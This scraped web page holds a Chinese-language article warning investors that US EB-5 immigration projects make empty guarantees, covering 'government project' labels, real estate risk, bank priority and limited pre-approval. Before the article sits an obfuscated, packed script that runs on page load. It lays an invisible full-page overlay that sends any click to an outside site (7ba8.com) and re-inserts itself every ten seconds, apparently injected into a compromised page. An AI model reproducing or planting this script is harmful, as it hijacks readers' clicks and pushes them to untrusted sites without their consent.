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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国投资移民虚浮保证，坑害移民成功的罪魁祸首 美国移民法中，明确制定并指出多项移民政策的相关法规，其中依据美国投资移民法，法案中明确规定，投资移民项目的投资必须是有风险性的。也就是说，投资移民有可能失败，投资移民申请人必须承担投资风险。 然而在市场推广中，有的项目或者移民中介为了招募投资人，给出不同的保证。这些保证真的能淡化风险甚至让投资人高枕无忧吗？ KLC移民律师提醒道：不少项目标榜自己为“政府项目”，其实无外乎几种情况： 第一，部分政府贷款；第二，政府提供初期启动资金；第三，政府提供激励或优惠政策；第四，政府发行债券；第五，政府牵头。 以上任何一项，都不能使项目成为“政府的项目”。就本质而言，美国没有真正的政府项目。 美国各级政府的自身财政来源全部来自于纳税人，其开支必须透明，拨款权掌握在国会或州及地方议会手中，而非政府手中，对于项目投资，政府都不会承担实际责任，更不会用美国纳税人的钱为外国投资移民项目提供保证。 《纽约时报》的系列调查显示，尽管州政府认可了目标经济区，他们并不愿意就项目承担任何责任。即使是所谓的“政府运行的”区域中心，也都是通过基金公司运作项目，政府对其不作任何承诺和担保。 过去几年中，在中国市场上热卖的多为房地产项目，这也许与中国人喜欢买房有关。房产项目无一例外，都强调地段，强调升值潜力。 先看行业前景，2010年，美国全国约有1500万栋房屋处于空置状态，全国的房屋总空置率达到11.4% ，远远超过国际公认的5%的警戒线。截止到今日，美国房市虽有小幅反弹，但整体依然颓势凸显。 某中文电视台在2011年11月采访美国房产数据研究中心总裁，其对市场的表述为：“危机远未结束，均价下滑终止还需要两年时间，因为美国境内还有超过几百万栋法拍屋需要市场消化及处理。” 马里兰州政府大楼项目所受指控的其中一项即是此项目所在地区的房屋空置率已高达25%，而州政府却批准此项目，意图令人费解。美国房地产行业本身受经济大环境、政策影响极大，波动幅度明显，容易产生泡沫。美国近年来的金融危机也是源于房地产泡沫。 再看产权担保能否真正成为投资保障。如房屋建设或运营中有银行投入，银行必然会有第一受偿权。 美国银行铁面无私，一旦产生按揭支付拖延，到时间就收走房屋，强行拍卖，拍卖价格不是以越高越好，而是以保住银行本金为目标。投资移民债权人随时都可能血本无归。 也就是说只有在地产项目没有任何银行借贷，而且移民投资人有第一优先受偿权的前提下，产权担保才有意义。KLC美国投资移民，移民律师强调，目前美国所有的房地产投资移民项目都有银行贷款，而移民投资人都不具备第一受偿权。 此外，美国的房地产的产权维护绝非易事。 目前在投资移民市场上占据头条的诸多项目都号称有“预批准”。这是根据美国移民局2009年12月11日的一份备忘录确立的做法。 原则上，项目方在开放招募前向美国移民局提供完整项目资料，获得这些文件的批准后，在将来投资人个案的审核过程中，除非有实质性的变动，移民局不再审核项目部分的文件。 这是美国移民局试图缩短个案审核时间做出的努力。 第一，此预审批机制并不像某些项目夸大的那样，可将审核时间缩短一半以上。经预审的项目仍然有被要求补件的可能。而事实上，这也时常发生； 第二，项目仍然负有报告“实质性变动”的责任。对于尚未启动的项目，其在预审批期间递交的文件与商业计划基本都是纸上谈兵的标准文件，在真正递案时极可能已经有了“实质性变更”，例如之前提到的不适当区划问题、目标就业区的改变、项目涉及的诉讼等，都可能被视为“实质性变更”而导致预批准成为一纸空文； 第三，“预批准”不等同批准。现在市场上的项目中真正有移民申请获批，并有绿卡条件解除转为永久绿卡的案例很少。 |
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